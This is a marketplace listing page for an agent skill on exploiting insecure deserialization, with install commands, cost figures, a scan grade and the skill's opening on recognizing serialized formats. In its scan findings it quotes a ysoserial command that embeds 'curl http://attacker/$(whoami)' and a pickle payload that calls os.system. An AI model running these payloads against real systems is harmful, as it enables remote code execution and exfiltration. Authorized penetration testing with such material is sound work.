Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx agentmods add skills/trilwu/secskills/exploiting-deserializationnpx skills add trilwu/secskills --skill exploiting-deserializationgit clone --depth 1 https://github.com/trilwu/secskillsWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/trilwu/secskills/exploiting-deserialization)<a href="https://agentmods.dev/skills/trilwu/secskills/exploiting-deserialization"><img src="https://agentmods.dev/badge/skills/trilwu/secskills/exploiting-deserialization.svg" alt="Measured on agentmods" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00099 | $0.02612 |
| Opus 5 | $0.00049 | $0.01306 |
| Sonnet 5 | $0.00020 | $0.00522 |
| Haiku 4.5 | $0.00010 | $0.00261 |
Grade A, and why
exploiting-deserialization scanned grade A with 2 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 2d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Makes network callslowCapability
Not a fault in itself. Listed so you know the mod talks to something, and to what.
java -jar ysoserial.jar CommonsCollections6 'curl http://attacker/$(whoami)' | base64 -w0 Runs shell commandslowCapability
Expected in a hook, worth knowing in a rule or an instructions file.
return (os.system, ('id',)) How it starts
The opening of the file, as written. The whole thing — 237 lines — stays where its author put it; the contents beside it link to each section on GitHub.
Exploiting Deserialization
Deserialization turns attacker-controlled bytes into live objects with attacker-chosen types. The vulnerability is not the parsing — it is that constructing those objects runs code paths the developer never intended. The work is recognizing the format, then finding a gadget chain in the libraries that happen to be on the classpath.
Only against systems you are authorized to test.
When to Use
- A cookie, parameter, header, or message body contains a serialized object
- You see the magic values listed below in traffic or storage
- Source review finds
readObject,unserialize,pickle.loads,Marshal.load,BinaryFormatter,yaml.load, orObjectInputStream - A message queue, cache, or session store holds serialized objects
- You need to confirm a suspected blind deserialization
When NOT to Use
- JSON/XML parsing without object instantiation — that is injection or XXE;
use
testing-web-applications - Source-code review as the primary task — use
auditing-code-for-vulnerabilities; return here for exploitation - Building a weaponized payload beyond proving impact — prove control, stop
- Analyzing malware that uses deserialization — use
analyzing-malware
Recognize the Format
Magic bytes identify the runtime, and the runtime decides the entire approach.
| Encoding | Base64 prefix | Raw bytes | Runtime |
|---|---|---|---|
| Java serialization | rO0AB |
AC ED 00 05 |
Java |
.NET BinaryFormatter |
AAEAAAD///// |
00 01 00 00 00 FF FF FF FF |
.NET |
.NET LosFormatter/ViewState |
often /wEP |
— | ASP.NET |
PHP serialize() |
Tzo, YTo |
O: , a: |
PHP |
| Python pickle | gAJ, gASV, KGRw |
80 04, 80 02, (dp |
Python |
| Ruby Marshal | BAh |
04 08 |
Ruby |
Java Hessian/Burlap |
Yw |
63/48 |
Java |
| YAML with tags | — | !!python/object, !ruby/object |
Multiple |
# Decode anything suspicious you find
echo 'rO0ABXNyABNq...' | base64 -d | xxd | head -3
# Java: readable class names appear in the stream
echo '<b64>' | base64 -d | strings | head -20
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 2d ago First seen · 237 lines · 99 tokens per session scan A 2a530803e46d
exploiting-deserialization is a skill published in the GitHub repository trilwu/secskills (134 stars, last pushed yesterday), licensed MIT. It adds 99 tokens to every session and 2,612 once invoked, about $0.0005 per session on Opus 5. A static security scan graded it A with 2 findings (makes network calls, runs shell commands). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-03.
Other skills, from other repositories
agent-platform-rag-engine-management
Manage and query Agent Platform RAG Engine Corpora and retrieve grounded contexts using the Google GenAI SDK. Use when listing RAG corpora or files, inspecting a corpus, retrieving contexts, or generating content grounded in a RAG corpus. Do not use for standard database queries (use SQL/Spanner skills), Google…
gke-reliability
Improves GKE workload reliability, using PDBs, health probes, and topology spread constraints. Use when configuring GKE workload reliability, setting up PDBs, or configuring GKE health probes (liveness, readiness, startup). Don't use for disaster recovery setup or full cluster backups (use gke-backup-dr instead).
gke-workload-security
Audits, configures, and hardens workload-level security controls for Google Kubernetes Engine (GKE) applications and namespaces. Covers running cluster security audits (auditcluster.sh), configuring Workload Identity Federation (impersonation, KSA/GSA binding, and pod setup), enforcing Network Policies (default-deny…
agent-platform-model-registry
Agent Platform Model Registry Management. Use when you need to upload, list, describe, update, or delete machine learning models (and their versions) in the Agent Platform Model Registry. Don't use for model training, model deployment to endpoints, or managing non-Agent Platform models.
google-cloud-solution-agentic-analytics-spark-knowledge-catalog
Discovers requirements and generates guidance to design and deploy a governed, secure agentic-analytics solution for data that's distributed across Google Cloud, other cloud providers, or on-premises. Data that's outside Google Cloud (such as data from Databricks, Snowflake, Salesforce, SAP, or Oracle systems) is…
twitter-reader
Read Twitter/X for financial research using opencli (read-only). Use this skill whenever the user wants to read their Twitter feed, search for financial tweets, view bookmarks, look up user profiles, or gather market sentiment from Twitter/X. Triggers include: "check my feed", "search Twitter for", "show my…